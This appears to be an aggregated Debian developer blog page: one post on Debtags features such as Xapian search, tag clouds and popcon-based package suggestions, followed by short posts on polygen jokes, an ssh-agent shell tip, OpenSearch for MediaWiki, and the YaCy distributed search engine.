Debtags interesting times An unbelievable amount of interesting, fun and bleeding-edge things to do are coming out with Debtags. Erich did some javascript tag cloud. Interactive tag clouds are probably the coolest thing to provide as a link for packages.debian.org when people click on a tag. They can also replace the current navigator we have at http://debtags.alioth.debian.org/cgi-bin/index.cgi I started using Xapian, which is cool. It does fast text search with all the cool things like stemming and whatnot. Check out a prototype package search interface using it. Xapian can also find packages similar to a given one by looking at the description, which is cool. I can already use it to suggest tags, until we manage to put some of the bayesian code we are accumulating into production. Plus, I had an IRC chat with a Xapian developer: he was really nice. We had one of those neat chats in which really cool ideas keep coming out and it won't be so hard to implement even and wow, that'd be so cool, let's do it! Then there's the new web-based tag editing interface to do to replace the old one. I can add the smart search idea to it allowing to display tags giving keywords: and that'd give suggestions that automatically follow existing tag practices, which rocks. The C++ daemon backend that we now have for the website is great to allow to quickly intermix tag updates and queries, and still hope to scale. Maybe it means that soon we finally can start handling debtags mail submissions on Alioth as well. Distro-wise I have a plan to finally get rid of apt-index-watcher. The plan is already working in my computer, and just needs some more tests before hitting unstable. I'd also like to have the Python Debtags interface packaged somewhere, so that people who don't grok C++ can have fun with the Debtags data. Work is underway. Then there's the debtags-updatecontrol experiment, which didn't go quite as I expected, but still went well. I've already sent my first tag override update to aj incorporating data from control files. Other ideas? For example, implementing Xapian indexing in libept, and finally have a package manager with an amazingly fast search-as-you-type. And that, as a side effect, would create a Xapian package description in /var/something that is ready for any installed software to use. Then there's popcon. That's another piece of data to make available to package managers, and I already know how to do it. With Phil Hands at Debconf6 we had also started designing a way to use the unaggregated popcon database to implement an Amazon-style functionality that would go like "users which have a system similar to yours also have packages X and Y installed: would you like to have a look at them?" Joey Hess suggested to filter popcon analysis data with debtags, so that one can get suggestions, for example, only limited to game packages. Oh so cool! And this all feels like just a beginning...

Evan Prodromou: 6 Vend miaire CCXV

As far as I can tell, polygen is a piece of software developed to make jokes at my expense (my favourite kind!). First there was the Evan's blog posts grammar, and now I've made the list in the Complaints grammar for the Debian:TheDebianChoirOfComplaints. I'm so glad this process has finally been automated! tags:

Hey Don Don Marti saw my ssh woes as previously mentioned (see Tag/ssh) and gave a cool shell function to fix it. It even snags credentials from your other ssh-agent instances, even if they're not an immediate parent of your shell. Thanks, Don! Thanks, wp:Lazyweb! tags:

OpenSearch So, I've been twiddling around with OpenSearch, the feed-based distributed search system that weird little Amazon subsidiary A9 is foisting off on the world. I think it'd probably be pretty neat for Wikitravel. Gregory Szorc, the mad scientist of the MediaWiki world, has done a nice OpenSearch extension for MediaWiki. I had to tweak it a lot, which was kind of fun, but I still haven't gotten it to work entirely satisfactorily. I'm suspecting I'll have to changeover to lucene search, the MW plugin that uses Lucene as search subsystem, to really get reasonable performance out of this. In any event I'm mildly interested in OpenSearch. It's nice, I guess, and it's kind of cool that it works with Firefox and IE7 as an in-browser search alternative. However, I'm disappointed it's not supported in other portals besides A9. tags:

YaCy Speaking of search: wow. YaCy. The distributed search engine system. It seems like a really good idea, but I'm not really impressed by the search results I've gotten so far. But, regardless, I've set up the crawler to run on a couple of servers around the house, and the daemon seems to be running pretty cool, so it's not really noticeable. I'll probably forget about them for a while, and we'll see what some benign neglect will bring to their index accuracy. tags:

Next.

Previous.